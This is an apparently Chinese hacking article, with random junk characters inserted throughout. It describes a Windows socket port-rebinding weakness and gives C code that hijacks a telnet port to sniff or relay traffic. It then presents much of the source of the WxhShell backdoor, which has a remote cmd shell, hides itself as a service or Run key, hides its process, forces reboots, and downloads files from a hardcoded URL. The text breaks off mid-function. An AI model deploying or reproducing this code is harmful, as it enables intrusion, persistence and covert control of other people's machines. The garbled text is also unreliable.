在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
BHmA*3? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4Sg!NPuu7&
cM4?Ggn saddr.sin_family = AF_INET;
\| >eG u ^qbX9.\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
savz>E& :,q3?l6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~+7yi4(i g}^/8rW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|/fbU_d Xs?7Whc6 这意味着什么?意味着可以进行如下的攻击:
zFi+6I$ &up/`8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;oFaDTX] X}zKV 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<(p1
j0_Q 0]oQ08 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3R#<9O W,{`)NWg 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)Qxv9:X p>eD{#2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
z3*G(, =w A< F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0v7;ZxD 3/rvSR! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
IVNNiNN*5 paBGJ~{= #include
CJKH"'u3^ #include
Z `\7B e #include
c0G/irK #include
deTbvl DWORD WINAPI ClientThread(LPVOID lpParam);
RO.(k!J . int main()
sf*SxdoZU {
[!R%yD; WORD wVersionRequested;
bOz\-=au DWORD ret;
LVEVCpp@ WSADATA wsaData;
,Vs:Lle BOOL val;
}BogE$tc SOCKADDR_IN saddr;
H9)uni SOCKADDR_IN scaddr;
''v1Pv- int err;
Xi{(1o4% SOCKET s;
8&C(0H]1 SOCKET sc;
Jj6kZK int caddsize;
hYd8}BvA HANDLE mt;
|16
:Zoq DWORD tid;
ESrWRO
f9 wVersionRequested = MAKEWORD( 2, 2 );
X3m?zQbhv err = WSAStartup( wVersionRequested, &wsaData );
Na~_=3+a if ( err != 0 ) {
wO!hVm,Ta printf("error!WSAStartup failed!\n");
{hg$?4IyQ return -1;
c&Zm>Qo[
}
3N*Shzusbt saddr.sin_family = AF_INET;
G>RYQ{O $GO'L2oLwn //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^p7( rb tV,Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4P~<_]yf saddr.sin_port = htons(23);
\~)573' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\34|9#*z- {
%|,<\~P printf("error!socket failed!\n");
F>b6fUtR return -1;
0&nF Vsz }
654%X(:q val = TRUE;
;Z`)*TRp4 //SO_REUSEADDR选项就是可以实现端口重绑定的
o7T|w~F~R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1I+5 {
:> q?s printf("error!setsockopt failed!\n");
g^C6"rsnl return -1;
(KQt%] }
=5|5j!i=q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
j>b OnCp~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
r#Fu<so, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
v4zd
x) 5,c` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
V0AX1?H~ w {
>ATW/9r ret=GetLastError();
y^A$bTQq printf("error!bind failed!\n");
QLUe{@ivc return -1;
*=7[Ip<X }
~/x42|t listen(s,2);
P&tK}Se^V while(1)
"QF083$ {
;dFe >`~ caddsize = sizeof(scaddr);
+i>q;=~ //接受连接请求
@ubz?5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
1wgu%$|d if(sc!=INVALID_SOCKET)
Yq^y"rw {
LX fiSM{o mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@
tIB'|O if(mt==NULL)
lewDR"0Kx {
(
7?%Hg printf("Thread Creat Failed!\n");
fA8+SaXW% break;
% KA/ }
3-R3Qlr }
gCJ'wv)6|% CloseHandle(mt);
yn#h$o< }
r9Z/y*q closesocket(s);
u7=[~l&L WSACleanup();
'JMa2/7CG return 0;
kUUq9me&o }
#~x5}8 DWORD WINAPI ClientThread(LPVOID lpParam)
1;P\mff3Y {
eI}VH BAz SOCKET ss = (SOCKET)lpParam;
WNb$2q= SOCKET sc;
RrHnDO' unsigned char buf[4096];
??m7xH5u1 SOCKADDR_IN saddr;
ifs*-f long num;
-"zu"H~t4 DWORD val;
8[C6LG DWORD ret;
6b/b}vl //如果是隐藏端口应用的话,可以在此处加一些判断
':V_V. : //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wF uh6!J saddr.sin_family = AF_INET;
~{+{p cO} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
h2%:;phH saddr.sin_port = htons(23);
#I?iR3u if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n{t',r50 {
>>$|,Q-. printf("error!socket failed!\n");
[tzSr=,Cg return -1;
%)9]dOdOk }
T,uIA] val = 100;
/Xz4q!Ul if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+*J4q5;E[? {
dNQSbp ret = GetLastError();
vy@Lu
cB return -1;
!_
Q!H2il }
%d0S-. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
aHC;p=RQ\A {
AuTplO0_rE ret = GetLastError();
<dL04F return -1;
k^pu1g=6I }
pCmJY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Fw9``{4w {
nEm7&Gb printf("error!socket connect failed!\n");
=.E(p)fz closesocket(sc);
[bv@qBL closesocket(ss);
h`]/3Ma*: return -1;
&XRFX 5gP }
@6q$Zg/ while(1)
l~YNmmv _ {
3}21bL //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
n:'BN([]o //如果是嗅探内容的话,可以再此处进行内容分析和记录
q=Yerp3~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
AfN num = recv(ss,buf,4096,0);
UWp8I)p!\O if(num>0)
l _O~v? send(sc,buf,num,0);
DH9?2)aR else if(num==0)
ennz/' break;
t4_K>Mj+d num = recv(sc,buf,4096,0);
6wB>-/'Y if(num>0)
0NtsFPO send(ss,buf,num,0);
]&U| d else if(num==0)
ZPsY0IzLo break;
23$hwr&G\ }
|u"R(7N* closesocket(ss);
#>jH[Q closesocket(sc);
8MeXVhM return 0 ;
P$/A! r }
/Q8A"'Nk X&s\_jQ a{HgIQg_>R ==========================================================
&H1D!N H}V*<mgw 下边附上一个代码,,WXhSHELL
$Q?G*@y .eNwC .8i ==========================================================
s66XdM GFdJFQio #include "stdafx.h"
sK-|xU. kQd[E-b7 #include <stdio.h>
S1juAV= #include <string.h>
k^5Rf #include <windows.h>
""'eTpe #include <winsock2.h>
2{kfbm-89t #include <winsvc.h>
u7zB9iQ& #include <urlmon.h>
SE)j}go G=!bM(]R~ #pragma comment (lib, "Ws2_32.lib")
;9p5YxD #pragma comment (lib, "urlmon.lib")
'eDgeWt/CQ qj"syO #define MAX_USER 100 // 最大客户端连接数
[l%fL9 #define BUF_SOCK 200 // sock buffer
pt%~,M _ #define KEY_BUFF 255 // 输入 buffer
+wW XjZao<?u #define REBOOT 0 // 重启
BMWeD #define SHUTDOWN 1 // 关机
B"8JFf}"q %[\x%m) #define DEF_PORT 5000 // 监听端口
Z*(!`,.bB _K}_h\e. #define REG_LEN 16 // 注册表键长度
5m USh3 #define SVC_LEN 80 // NT服务名长度
^xw [d}0S +.#S[G // 从dll定义API
`J#xyDL6? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<Mn7`i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&iiK ZZ`_o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!BQ ELB$0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
K:
o|kd /W$y"!^)J1 // wxhshell配置信息
bC4*w
O struct WSCFG {
a^\- }4yR int ws_port; // 监听端口
PtQ# char ws_passstr[REG_LEN]; // 口令
@~#79B"9& int ws_autoins; // 安装标记, 1=yes 0=no
AzO3 (1: char ws_regname[REG_LEN]; // 注册表键名
Ky9No"o char ws_svcname[REG_LEN]; // 服务名
XBWSO@M' char ws_svcdisp[SVC_LEN]; // 服务显示名
O4d^ig-xaH char ws_svcdesc[SVC_LEN]; // 服务描述信息
R c:cVK char ws_passmsg[SVC_LEN]; // 密码输入提示信息
M |Q int ws_downexe; // 下载执行标记, 1=yes 0=no
";?C4%L char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
EM54 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wy_;+ 'Y b|ksMB>) };
&Wv`AoV ds$ \vSd // default Wxhshell configuration
:KV,:13`D struct WSCFG wscfg={DEF_PORT,
AV[P QI "xuhuanlingzhe",
JIbzh?$aD 1,
S,Wl)\ "Wxhshell",
oF b mz* "Wxhshell",
1Q&WoJLfR "WxhShell Service",
t:"=]zUU "Wrsky Windows CmdShell Service",
X:SzkkVl7 "Please Input Your Password: ",
18p3 1,
gc2|V6( "
http://www.wrsky.com/wxhshell.exe",
Y6<0% "Wxhshell.exe"
u5XU`! };
Z!RRe]"y `YmI' // 消息定义模块
Q0q)n=i}] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)_Xxk_ char *msg_ws_prompt="\n\r? for help\n\r#>";
t`8e#n 9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
\|pK Z6*s char *msg_ws_ext="\n\rExit.";
nL+YL char *msg_ws_end="\n\rQuit.";
W:{PBb"x8 char *msg_ws_boot="\n\rReboot...";
"Yfr"1RmO char *msg_ws_poff="\n\rShutdown...";
AYPf)K;% char *msg_ws_down="\n\rSave to ";
x#F1@r8R RSPRfYU/ char *msg_ws_err="\n\rErr!";
x U13fl char *msg_ws_ok="\n\rOK!";
h*\TCl) |Y8Mk2,s char ExeFile[MAX_PATH];
1YIux,2\ int nUser = 0;
cfC; eRgq~ HANDLE handles[MAX_USER];
g3|Y$/J7P int OsIsNt;
dW{o+9 nw Xs%R]KOwt SERVICE_STATUS serviceStatus;
yNqm]H3<MP SERVICE_STATUS_HANDLE hServiceStatusHandle;
DNm7z[t{ LN~N
Fjs // 函数声明
Mdlt zy=)L int Install(void);
w*6!?=jP int Uninstall(void);
#zSi/r/=1 int DownloadFile(char *sURL, SOCKET wsh);
9#s95RO int Boot(int flag);
>Oi2gPA void HideProc(void);
iB}LnC: int GetOsVer(void);
S4 k^&$; int Wxhshell(SOCKET wsl);
qrM{b= void TalkWithClient(void *cs);
Ft"&NtXeZZ int CmdShell(SOCKET sock);
[TbG55 int StartFromService(void);
zqvRkMWc M int StartWxhshell(LPSTR lpCmdLine);
vSYunI HoIKx_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
s;-78ejj7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
+YQ~t,/ -VreBKn // 数据结构和表定义
3lLW'g&= SERVICE_TABLE_ENTRY DispatchTable[] =
iJdrY6qd {
EG(`E9DZ {wscfg.ws_svcname, NTServiceMain},
^:cb
$9F {NULL, NULL}
wv7p,9Z[ };
OXIu>jF yd0=h7s // 自我安装
>ggk>s| int Install(void)
;9p#xW6 {
=q"w2b& char svExeFile[MAX_PATH];
[$1: &!(! HKEY key;
{m_A1D/_ strcpy(svExeFile,ExeFile);
RWh9&O:6' je- ,S>U // 如果是win9x系统,修改注册表设为自启动
@Hspg^ if(!OsIsNt) {
F=
_uNq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Cz=A{<^g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|c06ix;). RegCloseKey(key);
{FV,j.D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
vB{;N
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.-('C> @ RegCloseKey(key);
k7yv>iN return 0;
}sTH.% }
k\+y4F8$x }
u@=+#q~/P }
Q*09E else {
;1*m}uNz =9;[C:p0- // 如果是NT以上系统,安装为系统服务
Nl=m'4@` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]=?X*,' if (schSCManager!=0)
PS_3Oq) {
gtaV6sD SC_HANDLE schService = CreateService
l5ZADK4 (
097Fvt=# schSCManager,
#L@} .Giz wscfg.ws_svcname,
pW*{Mx wscfg.ws_svcdisp,
vi[#?;pkF SERVICE_ALL_ACCESS,
g{g`YvLu^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
gZ`32fB% SERVICE_AUTO_START,
Gsds!z$ SERVICE_ERROR_NORMAL,
q:`77 svExeFile,
pgz:F#> NULL,
J^ +_8 NULL,
#;\L,a|>* NULL,
p|&ZJ@3 NULL,
vHs>ba$" NULL
0%;N9\ );
iX8h2l if (schService!=0)
a'
IX yj {
71k!k&Im CloseServiceHandle(schService);
)CC?vV CloseServiceHandle(schSCManager);
b lRY7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!p]T6_t]Q strcat(svExeFile,wscfg.ws_svcname);
%|: ;Ti if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
;=5@h!@R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Qa,NGP. RegCloseKey(key);
itqQ)\W return 0;
90 }
1KeJd&e }
763E 6,7 CloseServiceHandle(schSCManager);
NqiB8hZ~ }
JwN}Jm }
#d}0}7ue nuf@}W>y return 1;
Q `e~MD }
|_l<JQvf`E /#-,R,Q // 自我卸载
A5CdLwk int Uninstall(void)
i&A{L}eCr: {
.+{nA}Bc HKEY key;
EpRXjz /~H[= Pf if(!OsIsNt) {
Zvd ;KGO(a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D+|
K%_Qq RegDeleteValue(key,wscfg.ws_regname);
HBt|}uZ?6i RegCloseKey(key);
G"G{AS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
SL[rn<x| RegDeleteValue(key,wscfg.ws_regname);
:wQC_; RegCloseKey(key);
??%)|nj. return 0;
U>/<6Wd }
IY];Ss&i }
bin6i2b }
+90u!r^v else {
@PYW|*VS E)KB@f<g* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
f:_=5e
+ if (schSCManager!=0)
Oq #o1> {
DY)D(f/&3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6!4';2Q if (schService!=0)
Dl0/-=L {
pBlRd{#fL if(DeleteService(schService)!=0) {
(3e;"'k CloseServiceHandle(schService);
5Waw?1GL CloseServiceHandle(schSCManager);
Wr]O return 0;
fm3(70F\ }
pG)9=X!9 CloseServiceHandle(schService);
P#AAOSlLV }
"V: CloseServiceHandle(schSCManager);
v*&Uk'4E }
4st~3,lR$ }
@)9REA(U Jb(DJ-& return 1;
Ya~ "R#Uy }
99J+$A1 PPUEkvH
W // 从指定url下载文件
IO}+[%ptc* int DownloadFile(char *sURL, SOCKET wsh)
Xy:Gj,@ {
uK$=3[;U/! HRESULT hr;
BmJkt3j." char seps[]= "/";
ZrFr`L5F; char *token;
Bx+d3 char *file;
bBA$}bv char myURL[MAX_PATH];
VMaS;)0f@ char myFILE[MAX_PATH];
(F/HU"C fr8Xoa%1= strcpy(myURL,sURL);
EC<5M5Lc token=strtok(myURL,seps);
q_-ma_F#s while(token!=NULL)
-<8B, {
]PeLcB file=token;
^&C&~}Zv token=strtok(NULL,seps);
@/9>=#4c }
3.(.*> Hr(6TLNw GetCurrentDirectory(MAX_PATH,myFILE);
xcHen/4X strcat(myFILE, "\\");
D0f*eSXE{ strcat(myFILE, file);
Y
[4vRzc send(wsh,myFILE,strlen(myFILE),0);
4S'[\ZJO send(wsh,"...",3,0);
64?Pfir6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`+oV/:Q3 if(hr==S_OK)
`GPQ((la return 0;
-&@]M>r@ else
iOl%-Y return 1;
' Q\ @19 :*#rRQ>t }
^)|&| A_@I_V$ // 系统电源模块
3 sl=>;- int Boot(int flag)
kmIoJH5 {
{nTG~d HANDLE hToken;
]y.Rg{iv TOKEN_PRIVILEGES tkp;
wjL|Z8 oBb?"2 ~9 if(OsIsNt) {
4 ^4d9?c OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
yDzdE; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
IeZ&7u tkp.PrivilegeCount = 1;
UIQQ\,3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~
W@X- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
HF]EU!OT if(flag==REBOOT) {
p7s@%scp if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
tzPC/? return 0;
)Ea8{m! }
\WcB9 else {
[ne"
T if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4b]_
#7Qm return 0;
Yhe+u\vGs\ }
"2%>M }
6eM6[ else {
#^Ys{ if(flag==REBOOT) {
^/k, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z9 O~W5-U return 0;
!Ri
r&gF }
*
flW L else {
r?\|f:M3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)AJ=an||5 return 0;
wEE2a56L- }
6p#g0t }
I'dj. cs
t&0 return 1;
h20Hg|
}
^xt9pa$f TMqY4;UeL // win9x进程隐藏模块
wrabyRjK void HideProc(void)
ka#K
[qI {
t}VwVf<K 6%E~p0)i% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:\mRtVH if ( hKernel != NULL )
k}HQq_Y(< {
vu<#wW*9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_|X7
n~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
n08;
< FreeLibrary(hKernel);
;Xyte }
BB63xEx Z2#`}GI_m return;
%kq ^]S2O }
i|S:s p0Gk j- // 获取操作系统版本
+RS$5NLH int GetOsVer(void)
F?cq'd {
5/ * >v OSVERSIONINFO winfo;
VRF6g|0; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
t7bqk!6hM\ GetVersionEx(&winfo);
SRItE\"Xe if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ei|cD[
NY return 1;
rGQ5l1</ else
@; ;G88= return 0;
)&,K94
}
doM?8C#` 1A^1@^{m' // 客户端句柄模块
Ig9d#c int Wxhshell(SOCKET wsl)
O:e#!C8^ {
[x5mPjgw SOCKET wsh;
w4,]2Ccn. struct sockaddr_in client;
/&(1JqzlB DWORD myID;
m6i%DE J(e7{aRJ9 while(nUser<MAX_USER)
iDw.i"b {
&\^rQi/tf int nSize=sizeof(client);
%'0&ElQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Xu6K%]i^ if(wsh==INVALID_SOCKET) return 1;
036[96t,F 3cixQzb}u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
(sCAR=5v\ if(handles[nUser]==0)
I+"
lrU closesocket(wsh);
Xk,>l6vc else
/zT`Y=1 nUser++;
,Kw5Ro`I: }
Sy WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1"YpO"Rh AF$\WWrB return 0;
K&dT(U }
ezn`
_x_? $P nLG]X // 关闭 socket
2+:'0Krc void CloseIt(SOCKET wsh)
}Eh*xOta {
ne*#+Q{E closesocket(wsh);
#wjH4DT nUser--;
YE\K<T
jH ExitThread(0);
'$[Di'*; }
`Mk4sKU\a qfrNi1\9- // 客户端请求句柄
[!~}S void TalkWithClient(void *cs)
q@ZlJ3%l, {
|')-VhLLK NXI[q'y SOCKET wsh=(SOCKET)cs;
hcyO97@r char pwd[SVC_LEN];
.S7:;%qL6 char cmd[KEY_BUFF];
"SR5wr char chr[1];
[PWL<t::c int i,j;
6/1$<!WH Q["t eo]DQ while (nUser < MAX_USER) {
ehT%s+aUw 7ZsA5%s=, if(wscfg.ws_passstr) {
-DCa
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4pPI'd&/7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n8u*JeN //ZeroMemory(pwd,KEY_BUFF);
!ni>\lZ i=0;
]JMl|e while(i<SVC_LEN) {
1bSD,;$sQ `R+,1"5 = // 设置超时
[@G`Afaf fd_set FdRead;
aWGon]2p struct timeval TimeOut;
EB,4PEe: FD_ZERO(&FdRead);
1'O0`Me># FD_SET(wsh,&FdRead);
pM2a(\K,k^ TimeOut.tv_sec=8;
zF: j TimeOut.tv_usec=0;
Uu'dv#4Iw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$Q/Ya@o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:=fvZA WD iM5vrz`n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9 Cvn6{ pwd
=chr[0]; ; LMWNy4
if(chr[0]==0xd || chr[0]==0xa) { c1%rV`)]
pwd=0; _| zBUrN
break; 62\&RRB
i
} XYfv(y
i++; KDTDJ8
}
q3S+Y9L
ST;t,
D:
// 如果是非法用户,关闭 socket .:9s}%Zr
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o~1 Kp!U
} f*fE};
1*UNsEr
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LchnBtjn
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &tE.6^F
/k6fLn2;
while(1) { 6+`tn
$$1qF"GF
ZeroMemory(cmd,KEY_BUFF); gQouOjfP
RiR:69xwR*
// 自动支持客户端 telnet标准 e;ty !)]
j=0; 79BaDB`{a
while(j<KEY_BUFF) { `.v(fC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s|-FH X
cmd[j]=chr[0]; (
u`W!{1\
if(chr[0]==0xa || chr[0]==0xd) { HOZRYIQB
cmd[j]=0; OYmi?y\
break; 8)wt$b
} s9j7Psd
j++; PDP[5q r
} qp~gP
>/^#Drwb!i
// 下载文件 UtJ a3ya
if(strstr(cmd,"http://")) { qf8[!5GM
send(wsh,msg_ws_down,strlen(msg_ws_down),0); S$[k Q|Am
if(DownloadFile(cmd,wsh)) 0rE(p2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rU2iy"L
else kWW w<cA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F
L=,YP
} 6`\ya@
else { Cifd21v4
I%lE;'x
switch(cmd[0]) { -]S.<8<$
G>z,#Xt
// 帮助 ,Em$ !n
case '?': { %b}gDWs
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _*6v|Ed?
break; k\7:{y@,
} XDz5b.,
// 安装 ^^Jnv{)
case 'i': { EKZVF`L
if(Install()) A6"Hk0Hf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Je>;{&%
else :}q\tNY<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \a|L/9%
break; pq!%?m]
} #"f'7'TE
// 卸载 N_DT7
case 'r': { ZafboqsDL
if(Uninstall()) %0-wpuHc(]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MI#mAg<
else 5VE2@Fn}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rg QEUDEQ
break; m~`>`4
} E4[}lX}
// 显示 wxhshell 所在路径 |$+5@+Zz
case 'p': { |qN'P}L
char svExeFile[MAX_PATH]; 3,eIB(
strcpy(svExeFile,"\n\r"); ma& To=
strcat(svExeFile,ExeFile); "Ty/k8?
send(wsh,svExeFile,strlen(svExeFile),0); ,FQK;BU!lh
break; NAr1[{^E,
} d&(_|xq#
// 重启 KL?) akk
case 'b': { Pz"`MB<'Ik
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (pR.Abq
if(Boot(REBOOT)) \\4Eh2
Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A74920X`W
else { A(d5G^
closesocket(wsh); nU
z7|y
ExitThread(0); {]}s#vvy
} @QEqB_W
break; e}{U7xQm1
} $t=O:
// 关机 3f76kl(&
case 'd': { 6][1<}8
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =XY]x
if(Boot(SHUTDOWN)) -9Ws=r0R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &h~aChJ
else { MXvXVhCU
closesocket(wsh); ;%!m<S|%k
ExitThread(0); [rYT
} _|{aC1Y!V
break; !?FK We
} 1s7^uA$}6
// 获取shell Ff4*IOZ}(
case 's': { j
tA*pL'/V
CmdShell(wsh);
>'=MH2;
closesocket(wsh); D!LX?_cD1i
ExitThread(0); 9'~-U
break; FG-L0X
} P=8>c'Q
// 退出 F?4(5 K
case 'x': { -uR72f
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jUMf6^^
CloseIt(wsh); H{G{H=K_
break; mZvG|P$}
} b"j|Bb
// 离开 {rH9grb
case 'q': { GG6%bF
send(wsh,msg_ws_end,strlen(msg_ws_end),0); edC4BHE
closesocket(wsh); kODK@w V-
WSACleanup(); +8P,s[0<R_
exit(1); w
YNloU
break; 5,KWprb
} h
y-cG%f
} ~,gXaw
} 1yqoA*
;3ft1
// 提示信息 /CX VLl8~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SW?p?<
} E
l&h;N
} P`SnavQBt
9s$U%F6}
return; &eZfQ27$
} 1cJsj
-=}3j&,\R
// shell模块句柄 8g/F)~s^F
int CmdShell(SOCKET sock) V64L,u#`l
{ Zm TDQ`Ix
STARTUPINFO si; 1(dj[3Mt
ZeroMemory(&si,sizeof(si)); NeOxpn[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $17
su')
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MXh
"Y*}
PROCESS_INFORMATION ProcessInfo; ]Yyia.B
char cmdline[]="cmd"; t-e5ld~a
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); peVq+(=.
return 0; Sfjje4R
} K`KLC.j
_7)F
?
// 自身启动模式 v90T{1+M|4
int StartFromService(void)
j2n,f7hl.
{ O}ejWP8>
typedef struct qN|
fEO>
{ VHUW]8We
DWORD ExitStatus; Z@rN_WXx
DWORD PebBaseAddress;
u=l1s1>
DWORD AffinityMask; JiS5um=(.
DWORD BasePriority; /X8<C=}
ULONG UniqueProcessId; 7,$z;Lr0S
